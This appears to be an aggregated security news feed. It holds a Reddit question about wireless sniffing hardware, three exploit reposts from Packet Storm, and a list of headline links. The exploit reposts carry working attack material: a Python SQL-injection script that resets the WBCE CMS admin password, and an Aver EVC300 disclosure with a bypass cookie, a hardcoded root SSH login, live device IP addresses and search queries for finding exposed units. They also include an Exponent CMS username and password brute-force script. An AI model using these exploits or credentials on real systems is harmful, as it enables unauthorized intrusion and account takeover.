hacking: security in practice
How is the hardware called which allows "advanced wireless sniffing" or something along the lines? (More details in the post)

So a year ago, I had a computer networks course. At that time I got very interested into that topic. Unfortunately, I lost most of my interest right after and with that also the various terminologies.

Back then, I remember that my laptop did not had a certain type of hardware which would have allowed me to do "advanced network sniffing" or something along those lines. For the life of me, I can't remember right now what it was. It had something to do with nmap and wireshark (as with most network hacking stuff) and being able to wireless record traffic or something like that. If I recall correctly, while it is not a rare thing to have for laptops it's certainly not on all. For the laptops who don't have it apparently can plug one externally.

This is also why I'm asking here, as I plan on buying a new laptop and while I'm not interested in that topic (otherwise I would have found the problem again most likely) I want to future proof my new laptop.

Hopefully I was explicit enough.

submitted by /u/CDWEBI
[link] [comments]

Exploit Collector
WBCE CMS 1.5.1 Admin Password Reset

https://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png
WBCE CMS versions 1.5.1 and below suffer from an administrative password reset vulnerability.

MD5 | bd387503be1f4981f739444d3fc5cb4b

Download
# Exploit Title: WBCE CMS 1.5.1 - Admin Password Reset
# Google Dork: intext: "Way Better Content Editing"
# Date: 20/12/2021
# Exploit Author: citril or https://github.com/maxway2021
# Vendor Homepage: https://wbce.org/
# Software Link: https://wbce.org/de/downloads/
# Version: <=
# Tested on: Linux
# CVE : CVE-2021-3817
# Github repo: https://github.com/WBCE/WBCE_CMS
# Writeup: https://medium.com/@citril/cve-2021-3817-from-sqli-to-plaintext-admin-password-recovery-13735773cc75

import requests

_url = 'http://localhost/wbce/admin/login/forgot/index.php' # from mylocalhost environment
_domain = 'pylibs.org' # you have to catch all emails! I used Namecheap domain controller's 'catch all emails and redirect to specific email address' feature

headers = {
'User-Agent': 'Mozilla/5.0',
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close'
}

_p = "email=%27/**/or/**/user_id=1/**/or/**/'admin%40" + _domain + "&submit=justrandomvalue"

r = requests.post(url = _url, headers = headers, data = _p)
if r.status_code == 200:
print('[+] Check your email, you are probably going to receive plaintext password which belongs to administrator.')

Source:packetstormsecurity.com

Exploit Collector
Aver EVC300 Firmware 00.10.16.36 Hardcoded Secrets

https://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png
Aver EVC300 firmware version 00.10.16.36 suffers from having multiple hard-coded secrets that can allow for access bypass.

MD5 | 4f3d0c93b72d721fb2b7ee87138144c7

Download
Firmware for Aver EVC300 (multipoint video conferencing system) v00.10.16.36 and others (as well as firmware for several other devices manufactured by Aver, potentially all multipoint video conferencing systems) contains multiple advanced features that are not well documented:

1. The web admin server continues to run even if the web administration is disabled. Check for whether access is local to the device or remote is done in Javascript using specific cookie.
By setting the cookie as follows during page load:

document.cookie="VnsSuperPassword=#qC9,kD:;CupSuperPassword=fu.1u3wk4;"
it is possible to bypass the remote access restrictions, and use "local" UI.

2. Once the "access restrictions" are bypassed, it is possible to enable normal remote access. It is also possible to reset admin password by setting
a Javascript variable in adminPwd.js (variable name j in the version we had available) to 1 using JS debugging. This disables security check asking to enter prior password.
This feature is obviously an educational tool to acquaint children with browser debug console.

3. URL <evc300/monitor/monitor.jpg is accessible regardless of authentication status, and shows low resolution image of monitor the device is connected to, or camera, depending on device status.
Older versions of firmware used URL "rimg/monitor.jpg"

4. Device has ssh daemon (dropbear, others on other devices) listening on ports 1587,1588 and 1589.
It also has a hardcoded account avermediainfo with password avi2008 that has root privileges on the device.

1587/tcp open ssh syn-ack ttl 63 Dropbear sshd 2013.60 (protocol 2.0)
1588/tcp open ssh syn-ack ttl 62 Dropbear sshd 2013.60 (protocol 2.0)
1589/tcp open ssh syn-ack ttl 62 Dropbear sshd 2013.60 (protocol 2.0)

5. By accessing device over ssh, one can read the file /mnt/others/var/Olympus/Athena.ini, where administrator password is stored in clear text ("1234" is default password):
Password="*****"
PPPoEPassword="aver"
SIPTerminalPassword=""
SIPServerPasswordOn=Y
SIPServerPassword="1234"
IwbPw="1234"
AccessCode="1234"
RegGatekeeperPwd=""
This is very convenient in case one forgot administrator password and does not want to bother with JS console.

6. As of the time of writing this, the above features can be enjoyed at the site vcdemo.aver.com (61.219.195.10), as well as several other IP addresses in the same range, such as 61.219.195.23.
Additional edutainment endpoints can be found by using Nmap, or, for example, by using censys.io to search HTML title (services.http.response.html_title="Video Conference"), and then checking resulting IP addresses.

Source:packetstormsecurity.com

Exploit Collector
Exponent CMS 2.6 Cross Site Scripting / Brute Force

https://3.bp.blogspot.com/-Ct9xsH2cBRo/WWlviFueiJI/AAAAAAAAIQc/IuoXrqbibrUTnkZ-3FJLKgVXuEB0NPH5wCLcBGAs/s1600/h92.png
Exponent CMS version 2.6 suffers from cross site scripting and brute forcing vulnerabilities.

MD5 | 0597e59869ef1eb78f2169519eab8384

Download
# Exploit Title: Exponent CMS 2.6 - Multiple Vulnerabilities
# Exploit Author: heinjame
# Date: 22/10/2021
# Exploit Author: picaro_o
# Vendor Homepage: https://www.exponentcms.org/
# Version:
# Tested on: Linux os

*Stored XSS*

Affected parameter = >
http://127.0.0.1:8082/expcms/text/edit/id/{id}/src/@footer (Title,
Text Block)

Payload =

** *Database credential are disclosed in response ***

POC
```
var adminerwindow = function (){
var win =
window.open('/expcms/external/adminer/admin.php?server=localhost&username=root&db=exponentcms');
if (!win) { err(); }
}
```

**Authentication Bruteforce*
```
import argparse
import requests
import sys

parser = argparse.ArgumentParser()
parser.add_argument("url", help="URL")
parser.add_argument("Username list", help="Username List")
parser.add_argument("Password list", help="Password List")
pargs = parser.parse_args()

host = sys.argv[1]
userlist = sys.argv[2]
passlist = sys.argv[3]

try:
readuser = open(userlist)
readpass = open(passlist)
except:
print("Unable to load files")
exit()
def usernamebrute():
s = requests.Session()
for username in readuser.readlines():
brute={
'controller':(None,'users'),
'src':(None,''),
'int':(None,''),
'action':(None,'send_new_password'),
'username':(None,username.strip()),
}
bruteforce = s.post(host+"/index.php",files=brute)
status = s.get(host+"/users/reset_password")
if "administrator" in status.text:
print("[+] Found username : "+ username)
adminaccount = username
checkpoint = True
return adminaccount,checkpoint
break

def passwordbrute(adminaccount):
s = requests.Session()
s.cookies.set("csrftoken", "abc")
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0)
Gecko/20100101 Firefox/78.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'COntent-TYpE': 'applicatiOn/x-WWW-fOrm-urlencoded1',
'Referer': host+'/login/showlogin'
}
for password in readpass.readlines():
brute={
'controller':'login',
'src':'',
'int':'',
'action':'login',
'username':adminaccount,
'password':password.strip()
}
bruteforce = s.post(host+"/index.php",headers=header,data=brute)
# print(bruteforce.text)
status = s.get(host+"/login/showlogin",cookies=csrf)
print(status.text)
if "Invalid Username / Password" not in status.text:
print("[+] Found Password : "+ password)
break

adminaccount,checkpoint = usernamebrute()
if checkpoint == True:
passwordbrute(adminaccount)
else:
print("Can't find username,We can't proceed sorry :(")

```

Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
The Future of Ransomware

Focusing on basic security controls and executing them well is the best way to harden your systems against an attack.

Bypassing OTP Verification for Changing PIN in Registered Mobile Banking Account.

Assalamu’alaikum (Peace be upon you)
Read more...

Log4j Vulnerability Explanation In Details

Everything you need to know about log4j vulnerability as a hacker !
Read more...

Hacking on Medium
Using Curl Command On Linux With Examples

https://cdn-images-1.medium.com/max/678/1*RDJQW-g9QM5IPsm38r8bYQ.png
What is the Curl?

Continue reading on Medium »

Hacking on Medium
Raspberry Pi VPN Router.

https://cdn-images-1.medium.com/max/608/1*vhuYboolTp_2bs4OAc20dQ.png
Introduction

Continue reading on Medium »

Hacking on Medium
Las nuevas vulnerabilidades de la red móvil afectan a todas las generaciones celulares desde 2G

https://cdn-images-1.medium.com/max/1643/0*viJehMBKh9Aj0tNT
PUBLICADO EN 21 DICIEMBRE, 2021POR DPAB

Continue reading on Medium »

Hacking on Medium
The $150k Discord Crypto Hack

https://cdn-images-1.medium.com/max/1280/1*U5YPmbO5AZNSYI65ow1lpw.png
How 370 Crypto Fans Lost it All in 10 Minutes

Continue reading on Cotten.IO »